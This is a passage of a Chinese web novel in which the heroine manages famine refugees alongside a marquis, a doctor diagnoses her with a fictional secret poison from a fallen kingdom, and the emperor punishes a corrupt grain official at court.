晏无咎的眼神还带着钩子似的看着夏清棠,夏清棠顶不住了,脚步不自觉后退。 “我还有事,先走一步” 夏清棠逃了。 “呵” 晏无咎轻笑,原来这么不经逗,这么菜,还敢来撩拨他,不得不说,这女人是心大。 而听到这声轻笑庆幸的大夫,不知道,他被晏无咎当成工具人了。 “夏姑娘,脸怎么又这么红,比今早上还红呢” “哈哈,热的热的” 王淑芬暗自嘀咕了两句,也没再问。 这个晏无咎到底会不会张嘴吐舌头,谁家好人吐舌头跟他一样,就跟……就跟那啥一样。 夏清棠脸上神色一言难尽,像吃了屎一样往帐篷里走。 砰的一声躺在木床上,今天毒还没发作,靠,不管了,先睡觉。 夏清棠强迫自己入眠,毒发作了再说。 一夜好眠。 夏清棠神清气爽,只觉得不可思议。 昨夜竟然没有被疼醒,嘿嘿嘿,迟早有一天甩了晏无咎这个大蠢货。 走出帐篷,气氛很不对劲。 饭不够吃了。 原本安定下来的流民又隐隐躁动起来,他们之间互相使着眼色,现在看到夏清棠出来,目光又盯向夏清棠,却没有一个人问什么话。 他们只是或隐晦或直接的将目光投向夏清棠,然后各自嘴里说出内心的不满和猜忌。 “唉,咱们这点人也不多吧,怎么饭就不够吃呢?” “是啊,老李,我咋看着,今天准备这饭比前几天少了不少嘞!” “可不是,不是说有粮草吗,这连个影都见不着,别我没得病,先给饿死了” “也不知道侯爷怎么想的,居然让一个女人在这管事” “啧啧” 一句一句随着风灌入夏清棠耳朵,她冷笑,这是老鼠屎又出来搅动人心了。 几个大汉压根不把夏清棠放在眼里,虽然这几天都是夏清棠在管事,但就是打心底里觉着她在胡闹,她是在攀高枝。 旁边有几个大娘听不下去了,出声制止,“行了,少说两句吧”。 “就是,这几天夏姑娘操了多少心,你们还在这说风凉话” 大汉:“嘿,你们这几个臭娘们,还敢顶嘴啊” 长得黑黢黢的贾大汉吐了一口浓痰,举起手就要施暴。 唰! 一把飞刀带着迫人的气势掠过,擦过贾大汉的眉骨,留下血痕。 “闹事的,要动手的,来找我” “咱们比试比试” 清亮的女声带着彻骨的寒意,贾大汉身上起了一身鸡皮疙瘩,反应过来自己居然被一个小姑娘震住,顿觉失了面子,扯着嗓子吼,“你这个臭婆娘,居然敢朝我扔刀!”。 夏清棠:“咋滴,你是不是吓尿裤子了” 贾大汉气急,拿起切菜刀就要暴走。 唰! 又是一把飞刀,直接击落贾大汉手里的菜刀,贾大汉懵了。 在场的所有人也都懵了,原来这个夏姑娘还有武功,看着很厉害。 夏清棠:“把他绑了” “嘴也堵上” “是!” 不过绑了一个人,流民便都跟鹌鹑似的缩起脖子。 夏清棠站在人群前方,再次开始她的演讲。 “各位乡亲们,粮草不来,不知是你们急,我们也急,你们听着,若是再有前几日和今日这种情况发生,那可真就是叫想害你们和想害侯爷的敌人得逞了!” “侯爷带着人夜以继日的清淤河道,我们在这怎么能被人当刀使,刀尖还是指着侯爷” 简单两句话便叫在场不少流民沉下心思虑,这里的流民都是在漕运处谋生,连他们之间都有些不服气的竞争,别说京城里那些当官的了。 人群中传出声音,“夏姑娘你说的对,我听说书的经常说,当官的就喜欢通过我们老百姓来害当官的”。 “是啊是啊,侯爷可是保家卫国的将军,我们要是再在这添乱,简直是畜生不如” “什么畜生不如,明明是不如狗屎!” “哈哈哈!对对对” 气氛瞬间活跃,流民脸上不再忧心忡忡。 就在夏清棠张嘴想说话的时候,远处传来马蹄声。 是去送信的人回来了。 夏清棠走出人群,和送信的暗卫来到静谧处,“如何?”。 暗卫:“贺太傅说他知道了” 夏清棠脸色稍缓,希望一切顺利,希望安神医能尽快回京。 第五十二章一人干退一群人 又过了几日。 传来好消息,河道现如今已通了大半。 可粮草还迟迟没有着落,流民嘴上虽不再说什么,可灰败的脸早已说明一切。 他们心急身饿。 河道都通了大半了,为什么粮草还没有来,他们在心底告诉自己不能能再猜忌侯爷和夏姑娘,只能把心中的怒火转到其他不在眼前的朝廷官员身上。 一时间,不大的场地上又是怨声载道,戾气横生。 夏清棠暗自琢磨,前两日她把晏无咎排给她的暗卫都派出去了,以防外一贺柏出意外,还是多一队人马去截胡漕运总督比较靠谱。 算算日子,应该快回来了。 王淑芬小心翼翼的凑近夏清棠,语气委婉,“夏姑娘,你忙吗?”。 夏清棠回神,看向一旁面露忐忑的王淑芬,“王大娘,你说”。 王淑芬:“这俩天我姑娘都没下奶,这娃啊哭的哇哇叫,你看这……” 夏清棠了然,又是来问粮食啥时候来的。 果不其然,王淑芬这句话一落下,数道目光射向两人,都期盼的能听到回答。 夏清棠正要开口回应,耳边却听到细微的哒哒哒的马蹄声。 她一喜,看来是回来了。 身后的流民见夏清棠这样子,以为是有人来送粮了,可他们咋看也看不出个所以然来。 纷纷叹着气瘫坐在地。 王淑芬心急,这夏姑娘在发什么呆啊,“夏姑娘……”。 就在夏清棠要往外走,王淑芬要薅住夏清棠的时候。 “夏姑娘,侯爷受伤了!” 夏清棠:“叫大夫!” 夏清棠跟着大夫进入帐篷,剩下人一律不许进。 进入帐篷后,夏清棠看到晏无咎捂着受伤的左胳膊,一脸痛楚。 不对劲,很不对劲,这点伤看着,不至于让晏无咎疼成这样啊。 大夫踌躇的看着夏清棠,“夏姑娘,侯爷不让我靠近他”。 闻言,夏清棠抬眼看去,对上的是晏无咎颇有深意的目光,口中的话转了个弯,“行了,看来是侯爷的伤太重了,你处理不好,先出去”。 大夫汗颜,规规矩矩的退出。 夏清棠走进,没等张嘴,便听到晏无咎开口,“绷带”。 失了遮挡的左胳膊露出,夏清棠看到晏无咎胳膊上瘪瘪的不明物体,却不见一丝伤口。 夏清棠:“这是啥” 晏无咎随手仍开,又拿起绷带一圈圈往胳膊上缠,沉声回道,“猪尿脬”。 夏清棠明白了,晏无咎这是自导自演,给自己搞了个挺重的伤,这不,胳膊都叫砍断了。 晏无咎给自己加工完,可夏清棠觉着这绷带捆的视觉效果实在是不够,她又拿起绷带,一圈圈缠绕后,又从木床上扯下块宽布,拿着就要从晏无咎的脖子后绕过。 晏无咎瞳孔骤缩,这女人,怎么挨这么近。 夏清棠轻啧一声,强硬的摁住晏无咎的头,“别动”,一手将宽布从晏无咎脖子后绕过。 夏清棠拍拍手,满意的看着自己的杰作。 “晏无咎,看,这是不是就达到你想要的效果了” “胳膊都不能动了” 晏无咎看着自己被吊在胸前的胳膊,一时间,脑子竟有些发懵。 “勉强” 他吐出两字,抬脚就往外走。 帐篷外很是喧嚣,流民们对着这几个骑着马的人议论纷纷。 只见其中一人腰间挂着贺府贺太傅的令牌,见到晏无咎出来,立刻高声喊道,“太傅大人令,现已截获漕运总督私藏粮草的凭证,粮草很快便能运来,命在下特意送来凭证”。 此话一出,人群瞬间哗然,居然真的是有人私藏粮草。 太好了,他们马上就能吃上饭了。 这一队人马中,不只有贺太傅派来的人,还有夏清棠派出去的和晏无咎派出去的。 “报!” 喧嚣的人群中再次传来响亮的传报声,晏无咎冷沉的目光望过人群,人群瞬间寂静。 晏无咎:“说” “遵侯爷之令,果然查证漕运总督虚报损耗,私藏粮草的罪证,侯爷请过目” 晏无咎接过凭证,眸中闪过一丝意外,这上面居然是贺柏的字迹。 贺柏派来的人马还未离开,见状,又如实禀告,“太傅已将此事上报朝廷,断不会冤枉任何人”。 “嗯” “替本侯谢过你家太傅” 想到之前自己与贺柏之间的恩怨,晏无咎头疼的拧眉,一码归一码,这次,是他晏无咎欠他贺柏人情了。 顷刻间,局势瞬间逆转,流民脸上无不洋溢着兴奋的笑容。 晏无咎眸光瞥向萧策,萧策了然。 萧策走上前,朗声说道,“各位乡亲们,你们现在大可以放心,粮草一到,你们的吃喝,绝对一口都不会少”。 萧策想了想,这其中最关键的还是多亏了夏姑娘,他认为有必要再为夏姑娘说几句话,“这次,还要多亏了我们的夏……”。 话刚冒了个头,就遭到打断,是晏无咎和夏清棠。 夏清棠知道,这次把漕运总督给揪出来,已经破了不少人的财路,他们不能拿晏无咎怎么样,若是知道了和她有关,肯定会先拿她开刀。 这个风头不能出,况且,她也只是个提供信息的,主要的人力都是晏无咎出的。 她只求能快点解毒。 晏无咎:“行了” 萧策:“哦” 人群中的议论正向了许多,其中更多的是对自己恶意揣测侯爷和夏姑娘的羞愧。 “天杀的,居然想饿死咱们,一群不要脸的东西!” “可不是嘛,还差点让我们误会了侯爷” “你们瞧瞧,侯爷都受伤了” “当时那个战况真他娘激烈,我当了三十多年的农民,今儿个也是长见识了” “当时,我们还在卖力的清淤河道,突然就听到奇怪的声响,一抬头,就看到好几个穿着黑衣服的家伙,还蒙着面!” “你们说说,当时那么多人,那几个全身黑的人就逮着侯爷一个人杀” “侯爷那是相当凶猛,一个人就干退一群人!” “可惜就是把胳膊给干断嘞” “你这个乡巴佬,人家穿着黑衣服的,那是叫刺客” “我呸!大白天的穿一身黑,还蒙着脸,生怕别人不知道他们不正经啊!” “……” 萧策:“咱们第一批粮食到了,大家伙的这两天吃好喝好,咱们争取快点把剩下那一点河道给清理了!” “好嘞!” 第五十三章用爱情捆绑她?! 昏暗寂静处,晏无咎身影寂寥。 矗立良久,他主动走向夏清棠。 夏清棠:? 她看着晏无咎,等对方先开口。 可这副样子落在晏无咎眼里,就是夏清棠在期待,今天夏清棠还没摸他,现在是不是想让他主动。 晏无咎还在纠结。 夏清棠心里翻了个白眼,面露微笑说道,“侯爷,既然你没事的话,我就先走了”。 夏清棠转身就要走,一低头,登时瞪大双眼,她没看错的话,是晏无咎的手在拉她的手? 往出抽,抽不动。 她干笑,“侯爷,你还有事儿吗?”。 【晏无咎这阵子是不是被什么不干净的东西附身了,上次是恶意使用舌尖企图勾引她,这次是居然拉她的手】 【这个世道好像变了】 久违的听到夏清棠的心声,晏无咎数日来焦躁的内心奇迹的平静下来,他面上又带上往日在夏清棠面前那副混不吝的样子,故作挑逗般开口,“你这个算命的从我这要的报酬之一,不是没事就让你摸摸吗?”。 “这些日子的你的功劳很大,本侯今天可以让你摸个够” 夏清棠嘴角抽搐,喉头有点梗。 【愿意主动让摸了,是好事,不仅是对我能力的认可,也是对他自己本身魅力的认可】 【刚好也要犯病了】 “好啊,侯爷,不过我们不能在这里,我们进帐篷吧” 晏无咎嘴角高高翘起,“既如此,那便听你的”。 夏清棠:“好的” 夏清棠和晏无咎一同往帐篷里走。 【‘既如此,那便听你~’咦,越来越觉得晏无咎这人像个装货了】 【希望晏无咎懂点事,皇帝给他赏赐的时侯,别忘了我也得有份】 晏无咎:“发什么呆,坐下” 夏清棠坐下,离晏无咎有点远。 晏无咎沉眸,这个女人不是应该很乐意摸他吗,现在坐这么远,是在欲擒故纵? “你坐那么远,是胳膊很长吗?” 夏清棠承认,是她脑子现在有点发懵,之前都是毒发犯病的状态,现在这种情况,连她这个老实人都觉得暧昧了。 夏清棠:“哦” 她挪了挪屁股,挪到晏无咎身旁。 晏无咎颇为满意,主动伸出自己行动灵活的胳膊,声音傲气,“摸吧”。 夏清棠心底涌出一股气儿,她狠狠的翻了个白眼,又狠狠的把手掐上去,觉得不够,又把晏无咎袖子撸上去,说是摸,但其实更像是拧。 晏无咎吃痛,疑惑夏清棠使这么大劲儿干嘛,但脑海里突然浮出夏清棠说的“打是亲,骂是爱”。 这么用力摸他,岂不是内心很怕失去他。 想通后,晏无咎虽痛,但唇角依旧挂着笑。 【可恶的晏无咎,可恶的晏无咎!】 夏清棠还在狠狠的骂晏无咎,措不及防喉头涌出鲜血。 噗! 扑面而来的鲜红液体,浇懵了晏无咎。 【靠,好疼,怎么都掐着晏无咎了,还这么疼】 晏无咎抹了一把脸,血迹遮盖下桀骜不驯的面庞露出,是满满的惊慌。 他紧紧抱住夏清棠,慌不择言,“怎么回事,夏清棠,你不是都摸着我吗,为什么还会这么严重?”。 夏清棠理智虽被剧痛侵蚀,但还是敏锐的捕捉到晏无咎话中的不对劲,【晏无咎怎么知道……】 糟糕,晏无咎暗骂一声。 【好疼】 夏清棠双手死死掐住晏无咎胳膊,脑袋还晕晕乎乎的,下一秒,就感觉自己唇上一软。 她不可置信的瞪大双眸,【晏无咎抽风了!】。 “闭眼” “接吻要闭眼,你连这都不知道吗?” 身体疼让夏清棠本就烦躁,现在耳边还是晏无咎带着嘲讽的声音,她直接张嘴咬住晏无咎的唇。 【你才不知道你才不知道,你才是个笨蛋蠢货】 晏无咎感觉到唇上的回应,才不管夏清棠心里是咋骂他的,只是唇上的动作变得更热烈。 毕竟打是亲,骂是爱嘛,这个夏清棠可真是太爱他了。 身上的疼意渐渐变轻,可夏清棠却觉得自己的脑子更晕了,身体还软乎乎的。 【晏无咎这个万年老光棍怎么这么会亲】 “嘶!” 两人唇齿交叉间流出出血珠。 是带着血腥味的吻,还有夏清棠的香气。 ber~ 夏清棠用力推开晏无咎,手指不可置信的抚上红肿的嘴唇,张口控诉,完全忘记自己给自己立的人设。 “晏无咎你属狗的啊!你当亲嘴是啃肉呢?!” 晏无咎指尖擦过嘴角,眼底墨色翻涌,声音又低又哑,带着毫不掩饰的侵略性,“你追着我咬,我以为你喜欢呢”。 “怎么,你不喜欢吗?” “一点都不喜欢!” 晏无咎睫毛低垂,暗哑的声音带上明显的委屈和隐秘的挑逗,“是吗?看来是我误会了,不过,我倒是挺喜欢的”。 夏清棠惊呆了,“晏无咎你个死变态!”。 晏无咎目光落在夏清棠微微张开的唇上,声音压得更低更哑。 “打是亲,骂是爱,你在骂我的话,岂不是在对我表明心意” 夏清棠被晏无咎这副厚颜无耻的模样雷得说不出一句话,她该说什么好,骂他是爱他…… 晏无咎看她这副语塞得模样,嘴角的弧度更大了,“怎么,夏姑娘你不是从一开始见到本侯,就爱我爱的不能自拔吗?”。 “怎么,现在反倒是不敢承认了?” 夏清棠脚步微微后退,脸上表情异彩纷呈,“晏……晏无咎,你别这样,窝…我害怕”。 难道,晏无咎被魂穿了?还是个绑定了系统的家伙,任务就是要攻略她,也有可能是要戏耍她。 夏清棠咽了咽口水,脑子中只想出这一个合理的解释,“晏无咎,你是不是被鬼上身了”。 问出口,她就懊恼的闭眼,她这个蠢货,要晏无咎真是被鬼上身了,她岂不是完蛋。 晏无咎好笑的得看着夏清棠精彩的眼神,心情愉悦的开口,“夏表小姐放心,本侯爷阳气重,鬼可近不了我的身”。 “你牛” 思来想去,晏无咎这种行为的唯二合理解释就是,鬼上身,或者是,他真真切切的感受到她的价值,企图用爱情捆绑她,让她一直效忠他。 嘶——!这个男人,恐怖如斯。 第五十四章见到安瑾 晏无咎此刻并不知道自己在夏清棠的心中已经成了一个企图用爱情捆绑她的心机男。 他仍饶有兴味的看着夏清棠异彩纷呈的面容。 “安大夫很快便会赶来” 就在夏清棠要绷不住逃出去的时候,晏无咎收起那副轻佻姿态,说出了夏清棠内心最关心的。 夏清棠不相信,“真的吗?”。 晏无咎:“放心,我没被鬼上身,不骗你” “哦” 夏清棠被晏无咎搅的一团乱的心情,稍微好了一丢丢。 …… 粮食断断续续被运来,整个漕运处的气氛终于真实的好起来。 “河道通了!河道通了!” 哗! 好消息接踵而至,每个人的脸上都是兴奋雀跃,患了疫病的人除外。 在大夫们的救治下,这些患病流民得病情得到控制,可离根治还有好大一截。 漕运处的气氛割裂成两部分,健康的人现在满是对新生活的向往,而患病的人脸色则更为灰败。 河道通了,意味着侯爷要离开了,这些大夫也要回京城了,他们这些一年到头挣不到几个子的,那能看得起病啊。 “侯爷!你们不能走啊,你们走了,我们怎么办啊,我们就只能等死了!” 突如其来的悲怆哭喊声打断人们的欢乐氛围,在场的人脸上表情复杂。 庆幸自己没染病的同时又杂了一丝同情。 “啊啊啊啊!要死一起死” “啊啊啊啊!” 局势朝着所有人都没想到的方向发展。 一个脸上,胳膊上都是紫黑色斑块的人嘶吼着冲向人群。 他一手拿着一把菜刀,发了狠的在自己身上乱砍,献血喷涌,他狂笑几声,又嘶吼着朝人群乱砍。 砰! 只砍了自己几刀的男人被钳制在地,他嘴里还在吼叫。 “凭什么,凭什么你们过的这么好” 男人的哭喊声渐渐消散,他被压走了。 “这男人,说来也是个可怜的,死了爹妈,来这之前又死了唯一的儿子,现在还得了这病” “怪不得要发疯” 夏清棠心情复杂的看着这一幕,她也无能为力。 “晏无咎,安大夫到底啥时候回京城” 晏无咎:“马上” 夏清棠叹气。 【马上马上,你最好祈祷安神医现在在马上!】 晏无咎嘴角勾起弧度,这个女人还真是…心里无时无刻都念着他。 夏清棠斜眼瞥到晏无咎又是一副迷之表情,立刻躲得远远的。 还不如去找大娘们唠嗑。 “收拾收拾,准备回府” 身后传来声音,夏清棠脚步顿住,“知道了”。 晏无咎和夏清棠收拾的阵仗是小,可是那一队队的兵队收拾东西的阵仗大啊。 夏清棠回想书中,晏无咎回京的时间好像比这迟的多了,他在京郊漕运处这段时间,没少有人明着暗着的阴他,太多了,书中没细写,主要就写了粮食和疫病的事儿。 现在回去是没啥不行的,就是这群患了病的流民该咋整。 她走近晏无咎。 “侯爷,今日回去,那些患了病的流民咋办?” “会安排” 晏无咎随意回了一句。 “哦” “那安大夫呢?他不是往这赶吗?” 晏无咎:这个女人五句话有三句不离安瑾。 “放好你的心吧,你心心念念的安大夫一定会来你的身边” “哦” 夏清棠稍稍放了心。 【能来我身边就行,只要神医回京城了,那这疫病肯定也很快就能解决】 【那之后的一切,就与我没关系喽】 外面的萧策正在安排患病的流民,这些人必须得安排好,若是乱跑就糟了。 …… 一切准备就绪,打道回府。 夏清棠自从回了侯府,就跟那望夫石一样,牢牢守在大门入口处。 又过了两天了,她又对着晏无咎耍了两天流氓,而且,这已经是她没有服药的第二个月,若是再不服,那死翘翘就离她不远喽。 要是再死一次,能不能回到现代,她想玩手机,想吃零食追剧打游戏。 轱辘轱辘—— 马车停住的声音吸引了夏清棠,她唰的抬起头,睁大双眼使劲儿看。 是朝侯府来的。 夏清棠迈开腿迅速跑出大门,看到马车上下来一个年轻男人。 好眼熟…… 没有细想,她快步上前迎接,端庄有礼,“敢问,可是安大夫?”。 连日的奔波和抓药治病,让安瑾本就粗犷的声音又添上粗哑,“是我,找你家侯爷”。 夏清棠声音雀跃,“安大夫,这边请”。 “安大夫,我家侯爷经常提起你,今日一见,果然是惊为天人” 安瑾被这明显的有些过头的马屁逗笑,这个女人上次在军营见过,记得她有点本事,还很爱老晏。 安瑾:“你家侯爷还这样夸我?” “稀奇,实在是稀奇” 夏清棠:“安大夫说笑了” 这个安神医长得一副五大三粗的样儿,说话还怪有格调。 两人见到晏无咎,具是一喜。 夏清棠喜的是,晏无咎给她安排的大夫可算是来了,就等晏无咎张嘴喽。 安瑾喜的是,安瑾喜的当然是见到自家好兄弟了。 “侯爷,安大夫来了” 夏清棠朗声提醒,眼神也默默发力,安大夫来了,晏无咎你识相点,快点让他给我看病。 安瑾:“老晏啊!这么久不见,是不是想我想的紧,天天派人去催我!催催催” 安瑾意味深长的眼神看向晏无咎,“这不符合你的风格,老实说,你让我看病的那位什么来头,和你是什么关系”。 夏清棠脚趾抠地。 晏无咎寒眸扫过,安瑾嘿嘿一笑。 “表小姐呢,林侍卫不是说给你家表小姐治病吗?” “这个皇帝是在搞什么鬼,还给你府上弄个什么表小姐” 夏清棠默默开口,“是我”。 安瑾好似很尴尬,“嗷,就是你啊,不好意思啊,我这个人说话就是大大咧咧的,这位……表小姐应该不会放在心上的吧?”。 夏清棠:“不会,我姓夏” 安瑾:“原来是夏姑娘啊” 晏无咎沉声:“几日不见,你话是又多了,快点给她治病” 安瑾黝黑的面庞严肃起来,周身肃杀之气尽显,“得嘞”。 “夏姑娘,那请坐” 夏清棠乖巧坐下,面上不显神色。 她想起来这个安神医在哪见过了,就是上次去晏无咎军营,那个和萧策勾肩搭背,还一直对着萧策喊萧大夫的大汉! 这个一身凶气的人是大夫,那个一身书卷温润气的人是副将。 ……妙 第五十五章渊国特色药材 安瑾这病越看越觉得不对劲。 “你中毒了?” 夏清棠大惊,“什么?!我中毒了?这么长时间以来,我一直以为是我得了什么病”。 安瑾皱眉,“你不知道?”。 夏清棠哭的梨花带泪,“我不知道,我之前以为自己得病了,找过大夫,大夫治不了,后来在路上遇到一个神棍,我也是走投无路,才吃了他给的东西”。 “没想到,没想到真的有用,可那药吃完后,我就再也找不到那神棍” 早已知晓的一切的晏无咎:故事编的有模有样。 安瑾听的是眉头紧皱,这个故事好像是挺合理的,可这毒是渊国的秘毒啊,渊国都不知道被灭了多少年了,为什么这个女人身上会有渊国的独家秘毒。 安瑾的神情太过凝重,不止夏清棠摒住了呼吸,就连晏无咎都不自觉放轻呼吸。 晏无咎:“什么毒,能不能治好” 安瑾点头又摇头,“能治,就是难啊”。 “夏姑娘身上这毒,是渊国的秘毒,摧心散” 夏清棠疑惑,“渊国?”。 安瑾点头,“正是,要完完全全解了这毒,必须要用到只有渊国人才能种出来的几味药材,可这渊国人……先不说有没有,能不能找到,就是有渊国人,那也必须是渊国地位高贵的人啊”。 “普通人根本接触不到这些药材” 晏无咎嗓音微沉,“能不能暂时压制住这毒”。 安瑾点头,“这倒是没问题,最起码夏姑娘每日的毒发可以压制,我还可以最大限度的为夏姑娘争取寻找药材的时间”。 夏清棠脸色苍白,从这些对话她已经隐隐窥见渊国是个什么样的存在,可还是不死心的问,“渊国是……”。 安瑾心直口快,“渊国早不知道灭国多少年了,现在渊国遗址就是一片废墟”。 夏清棠喃喃,“灭亡的国家……我要找灭了不知道多少年的渊国的药材”。 天爷,让她死了得了。 夏清棠现在的状态实在是差劲,晏无咎走过安瑾,靠近夏清棠,大掌轻抚她的发顶,明明是要安慰人,说出来的话却,“求求我,我帮你找”。 安瑾惊掉下巴,老晏确定没被什么鬼魂附体?还是真栽这女人手里了。 夏清棠此刻沉浸在巨大冲击里,完全没察觉到二人此刻有多暧昧,耳边只恍惚听到晏无咎说了一句,‘我帮你找’。 “谢谢你” 晏无咎微愣,收回手,对安瑾说道,“日后你就住在我府上,看着她点”。 安瑾对晏无咎这种行为嗤之以鼻,看来连老晏都不能免俗,见色忘友的家伙。 “知道了知道了,我一定会好好看着点你家表小姐的” 晏无咎:“保持距离” 安瑾无奈,“哦哦哦,我会保持距离的看好她”。 夏清棠眼眶泛着红意,她憋了憋泪,调整好情绪,郑重地对安瑾说,“谢谢安大夫,麻烦安大夫了”。 安瑾点点头,“没事没事,毕竟老晏都张嘴了”。 “不过,到底是什么人,居然在你身上下这等毒药” 夏清棠摇摇头。 【天杀的朔砚辞,居然给我下这种毒,还是什么亡国的秘毒】 【原书中,朔砚辞就是每次拿安心丸哄骗原主,说每月毒发吃安心哇可以抑制,要想完完全全的解毒,必须完成他的任务】 【我呸,什么完成任务就能解毒,书中原主都快死了,结果这个朔砚辞说啥,说原主是个蠢货,说原主就该死】 【明明是朔砚辞根本就没有解药!就连这毒他都只有一份】 夏清棠恨得牙痒痒。 晏无咎也疑惑,朔砚辞怎么会有渊国的秘毒,为什么会下在夏清棠身上,是巧合吗。 安瑾拿出纸笔,洋洋洒洒写下两张药方,“这张是平日里压制这毒需要的药材,这张是需要去找的渊国特色药材”。 夏清棠接过,目光停留在第二张,渊国特色药材,“龙脑香,西腓草,赤砂藤,星罗子,四种”。 安瑾:“对,夏姑娘努力” 晏无咎真想刀了安瑾这张嘴。 安瑾嘿嘿一笑,举起第一张纸,“老晏,这些药材也得不少钱啊”。 晏无咎:“记你账上” 晏无咎心底琢磨着,夏清棠说的确实不错,他是应该派人去朔千钰的仓库里转一转,又想到什么,他嘱咐安瑾,“药材都用最好的”。 安瑾挥手,“知道了知道了,见色忘友的家伙”。 “你去哪?” “进宫” 安瑾了然,看来是老皇帝又要给老晏赏赐了。 夏清棠失魂落魄的拿着手中的纸张,她的两箱黄金啊,她要当散财童去找什么神奇的渊国特色药材了。 晏无咎会帮她的吧,会吧…… 夏清棠抬起头找晏无咎的身影,却发现这人走了。 安瑾:“你家侯爷进宫了,放心吧,你家侯爷乐意管你” 啧啧啧,瞧瞧这对儿,都开始互相牵挂了,这不就是话本子里说的双向奔赴的爱情。 夏清棠不知道安瑾是从哪得出的这结论,她想,就算晏无咎乐意帮她,那肯定也是因为想让她继续帮他,思及此,夏清棠问安瑾。 “安大夫,那流民的病怎么样了?” 一听到这,安瑾脸上的立刻露出自豪的神情,话匣子也被打开,“都不是什么大事,我已经配好药方,老晏也都安排好人手去发药”。 “你家侯爷这次进宫啊,肯定是好事!哈哈哈哈哈” 夏清棠在一旁真诚吹捧,心中却惊疑,药方没有被朔千钰拿去,是因为蝴蝶效应吗,还是其它。 “我这看病的功夫啊,又长进了,话说回来,好久没见萧策了,怪想他的” “好久没来京城了,这京城啊……” 耳边是安瑾絮絮叨叨的话语,夏清棠的脑子乱如麻,京城这种地方肯定会有打听情报的组织,她得去找。 “安大夫,你知道的好多,你知不知道京城有什么打探消息的组织” 安瑾:“当然知道喽,我悄悄告诉你” 第五十六章兄弟情 “当然知道喽,我悄悄告诉你” 夏清棠靠近安瑾,屏气凝神。 安瑾没心眼的笑了笑,“夏姑娘,这京城啊,有个地方,叫无影阁,只要你有钱,想买什么情报都有,不过,我最推荐的还是这无影阁的拍卖行”。 夏清棠:“安大夫的意思是,去拍卖行拍药材?” “正是!” 安瑾:“实不相瞒,我曾在这拍卖行见过一两种药材,不过并未在意,也实在是太贵” “你去碰碰运气呢,说不定还有呢” 夏清棠蹙眉思索,拍卖行啊。 安瑾站起身,说出来的话是与其周身杀气完全不符的贱贱气息,“那……你好好努力哦”。 “我去给你搓药丸喽” 安瑾走远了,只余绵长的回音飘在空中。 “安大夫!” 回过神来的夏清棠一个箭步冲出去,大掌钳住安瑾的肩膀。 安瑾愣住,嘴巴微张,“你会武功?”。 夏清棠微笑,“会一点点喽”。 安瑾立即爽朗一笑,“哈哈哈,原来夏姑娘这么有本事!”。 夏清棠脸上照旧挂上温婉笑意,“安大夫,你知道的好多呀,我想问你这无影阁在哪?进拍卖会有没有什么门槛”。 “门槛倒是没”,安瑾搓了搓手指,“有这个就行”。 “至于你说的无影阁在哪?算了,念在你是老晏心上人的份儿上,我就不与你卖关子了” “你凑近点,我悄悄告诉你” “吧啦吧啦吧啦……” 夏清棠频频点头。 安瑾说的口干舌燥,但是这女人实在是有意思,身上居然被下了渊国的毒,而且方才显露那一点功法,他也挺好奇是出自何处的,“其实吧,有一个最简单的方法”。 夏清棠:“啥?” 安瑾:“就是让你家侯爷带你去啊” 夏清棠思虑,晏无咎虽然穷,但好歹也是威震四方的大将军,确实是该有能带她进去的本事。 “谢安大夫指点!” …… “混账东西!” 高堂之上,景明帝脸色铁青,大掌狠狠将手中打开的账册摔扔在地。 一时之间,无人敢言。 自从那位皇后娘娘与皇上关系缓和后,基本就没见过皇上发这么大的火。 “皇城之下,居然还有人在贪赃粮草!” “来人,将这漕运总督压上来” 很快,一个大腹便便的中年男人跪倒在大殿上。 悲怆的哭声很快响起。 “皇上!皇上啊,臣是被冤枉的啊” 景明帝眼下发青,声音却中气十足,“你说说,你是怎么被冤枉的”。 “是…是镇北候,是镇北候冤枉我啊!明明镇北候派人送来的信上说的送粮草时间,比这迟的多” “臣还在忙着给镇北候准备粮草,不知怎么地,镇北候就派人来我府上截我,还抢走了粮仓凭证” 朔千钰早在一旁听的面色铁青,一群蠢货,居然连个晏无咎都搞不了,“父皇,镇北候虽然常年行军打仗,做事鲁莽了些,但是关键时候,镇北候绝对不会搞错时间,故意搞这一出!”。 “父皇明察” 晏无咎忽略朔千钰看着他的仁义眼神,薄唇一开一合,字少却有说服力,“皇上,漕运总督贪墨粮草的账册在你手上”。 贺柏淡淡站出来,语气平淡无波,“皇上赎罪,是微臣带人劫了漕运总督手里的粮仓凭证”。 窃窃私语声响起。 “居然是贺太傅,贺太傅不是和晏无咎不和吗?” “哎!你这个小登眼界还是太肤浅了些,贺太傅必然是太心系那些流民了,贺太傅一向宽宏大量” “……” 高台上的景明帝没说什么,但那浑浊眼珠里的阴沉说明一切,依旧是雄浑的笑声先出场,“哈哈哈!原来是贺太傅啊”。 “漕运总督!你谎话连篇,不仅贪污粮草,现在竟然还公然污蔑,当斩” 哭喊的漕运总督被拉下去了,在场的所有人面面相觑,都没想到这件事会处理的如此草率,这明眼人一看,都知道不只是有漕运总的手笔,这…… 朔砚辞冷笑,这次的事他可没参与,他的目光落在朔千钰脸上,想必,他的好皇弟没少捣鬼。 朔千钰:“据说镇北候还抓到两个蓄意闹事,故意传播疫病的人” “嗯” 朔千钰朝一个老臣使了个眼色,那老臣瞬间冒出来接过话茬。 “镇北候真是后生可畏啊,近日来啊,这老百姓都是对镇北候赞不绝口,说镇北候简直是男菩萨在世” 景明帝来了兴致,“镇北候这次风头出的还真是盛”。 “朕不赏赐点东西,怕是会叫老百姓诟病” 晏无咎:“皇上说笑了,老百姓也不知道你赏赐没赏赐” 在场大臣心中俱是一惊,这晏无咎还是如此猖狂。 景明帝还欲再说些什么,却见身旁太监走进在他耳边说悄悄话,景明帝听完,登时觉得殿上这些大臣说话聒噪得很。 斗!朕就叫你们好好斗,斗死一个一个少一个。 只见景明帝突然起身:“朕乏了,今日就到这,至于镇北候的赏赐,给他抬府上”。 结局来的太快,快到在场人脸上都是一脸懵逼。 朔千钰眉头紧皱,父皇到底在搞什么鬼,他不是也忌惮晏无咎,今日又搞这一出,是吃错药了吧。 朔砚辞虽未能看到大乱斗的场景,但看到朔千钰那一连吃了苍蝇的表情,顿时也觉得心情舒畅了许多,瞧嘛,不止是他一人在晏无咎那吃瘪。 朔千钰走向晏无咎,“无咎兄,恭喜啊恭喜”。 晏无咎不予理会。 又来了又来了,又是一副高高在上、看不起所有人的样子,朔千钰恨晏无咎恨得牙痒痒,凭什么当初他晏无咎能带兵打仗,凭什么他晏无咎一个草根出身,能比他还牛。 明明应该是处处不如他的人,现在却是除了出身,处处都比他强。 朔千钰:“无咎兄,咱们都多少年的好兄弟了,你在我面前还藏着掖着,这粮草出了问题,你宁愿去找贺太傅,都不愿来找我帮忙” 